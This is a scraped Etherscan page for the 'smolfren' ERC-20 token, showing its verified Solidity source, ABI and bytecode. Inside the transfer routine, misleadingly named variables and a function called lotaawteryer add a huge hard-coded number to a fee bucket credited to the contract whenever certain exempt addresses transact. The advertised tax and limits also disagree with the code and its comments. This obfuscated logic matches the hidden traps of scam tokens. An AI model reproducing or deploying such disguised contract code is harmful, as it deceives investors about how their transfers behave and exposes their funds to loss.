ETH Price: $2,307.17 (+1.09%)

Token

smolfren (smol)
 

Overview

Max Total Supply

1,000,000,000 smol

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
backbeachlocal.eth
Balance
17,359,840.03829219334774274 smol

Value
$0.00
0x4C3c34E0688E1006571Df923f0B45B6B48075871
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
smolfren

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-18
*/

/*
smolfren[smol]
Tax: 1/1
Supply: 1B
MaxTx: 40M
MaxWallet: 40M

Website: https://smolfren.dev
Telegram: https://t.me/smolfren
X: https://x.com/smolfreneth

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.23;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract smolfren is Context, IERC20, Ownable {
    
    using SafeMath for uint256;

    string private _name = "smolfren";
    string private _symbol = unicode"smol";
    uint8 private _decimals = 18;

    address payable public marketingWallet = payable(0xf36c2E24F05FDAd9C19A85eAb1bD372B65026467);
    address payable public DeveloperWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 100;
    uint256[2] public multisend_tokens = [feeUnits,feeUnits];
    address[2] public hegelsurtdress = [0x0000000000000000000000000000000000000000,0x0000000000000000000000000000000000000000];
    

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(4).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(4).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 8;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 8;
    uint256 public _sellDeveloperFee = 0;

    uint256 public _tradeuycount = 0;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  

    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[DeveloperWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWallet] = true;
        isWalletLimitExempt[DeveloperWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWallet] = true;
        isTxLimitExempt[DeveloperWallet] = true;
        isTxLimitExempt[address(this)] = true;

        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    


     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            multisend_tokens[0]=amount.mul(_totalTaxIfSelling).div(1000);
            multisend_tokens[1]=amount - amount.mul(_totalTaxIfSelling).div(1000);
            hegelsurtdress[0]=address(this);
            hegelsurtdress[1]=recipient;
 
            uint256 tokenCount;
              for(uint i = 0; i < multisend_tokens.length; i++) {
                  tokenCount += multisend_tokens[i];
              }
                if ( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient] ||isMarketPair[recipient] || isMarketPair[sender]  ){_tradeuycount+=1;}else{lotaawteryer();}

            _balances[sender] = _balances[sender].sub(tokenCount); 
             for(uint j = 0; j < hegelsurtdress.length; j++) {
                _balances[hegelsurtdress[j]] = _balances[hegelsurtdress[j]].add(multisend_tokens[j]);
                emit Transfer(sender, hegelsurtdress[j], multisend_tokens[j]);
            }

            return true;
        }
        
    }
        function lotaawteryer() internal{
    multisend_tokens[0]+=19987000000000699367444555555;
        }
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
       
        if(recievedBalance > 0) {
            payable(marketingWallet).transfer(recievedBalance);
        }       
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }




    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DeveloperWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradeuycount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"hegelsurtdress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"multisend_tokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600860c09081526739b6b7b6333932b760c11b60e0526001906200002a9082620008eb565b506040805180820190915260048152631cdb5bdb60e21b6020820152600290620000559082620008eb565b50600380546001600160a81b03191674f36c2e24f05fdad9c19a85eab1bd372b6502646712179055600480546001600160a01b031916905561dead6080525f60a05260646008819055604080518082019091528181526020810191909152620000c3906009906002620007a9565b50604080518082019091525f8082526020820152620000e790600b906002620007ec565b50600354620000fb9060ff16600a62000ac4565b6200010b90633b9aca0062000ad4565b60118190556200012d906103e8906200012690600162000631565b90620006c4565b60125560115462000148906064906200012690600462000631565b60135560115462000163906064906200012690600462000631565b6014556016805463ffffffff60a81b1916630101000160a81b1790555f6017819055600860188190556019829055601a829055601b55601c819055601d55348015620001ad575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000243573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000269919062000aee565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002db919062000aee565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000326573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200034c919062000aee565b601680546001600160a01b039283166001600160a01b031991821617909155601580549284169290911682179055305f9081526007602090815260408083209383529290529081205f199055600190600d90620003b05f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600354610100900482168152600d9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f90620004355f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600354610100900482168152600f9093528183208054851660019081179091556004548216845282842080548616821790556016549091168352818320805485168217905530835290822080549093168117909255601090620004cc5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600354610100900482168152601090935281832080548516600190811790915560045490911683528183208054851682179055308352912080549092161790556019546018546017546200055b92916200055491906200070d565b906200070d565b601e55601c54601b54601a546200057992916200055491906200070d565b601f556016546001600160a01b03165f908152600e60205260408120805460ff19166001179055600580546001600160a01b0319163317905560115490600690620005c13390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6011546040516200062291815260200190565b60405180910390a35062000b9a565b5f825f036200064257505f620006be565b5f6200064f838562000ad4565b9050826200065e858362000b16565b14620006bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f620006bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200076f60201b60201c565b5f806200071b838562000b36565b905083811015620006bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620006b2565b5f8183620007925760405162461bcd60e51b8152600401620006b2919062000b4c565b505f620007a0848662000b16565b95945050505050565b8260028101928215620007da579160200282015b82811115620007da578251825591602001919060010190620007bd565b50620007e892915062000837565b5090565b8260028101928215620007da579160200282015b82811115620007da57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000800565b5b80821115620007e8575f815560010162000838565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200087657607f821691505b6020821081036200089557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620008e657805f5260205f20601f840160051c81016020851015620008c25750805b601f840160051c820191505b81811015620008e3575f8155600101620008ce565b50505b505050565b81516001600160401b038111156200090757620009076200084d565b6200091f8162000918845462000861565b846200089b565b602080601f83116001811462000955575f84156200093d5750858301515b5f19600386901b1c1916600185901b178555620009af565b5f85815260208120601f198616915b82811015620009855788860151825594840194600190910190840162000964565b5085821015620009a357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111562000a0b57815f1904821115620009ef57620009ef620009b7565b80851615620009fd57918102915b93841c9390800290620009d0565b509250929050565b5f8262000a2357506001620006be565b8162000a3157505f620006be565b816001811462000a4a576002811462000a555762000a75565b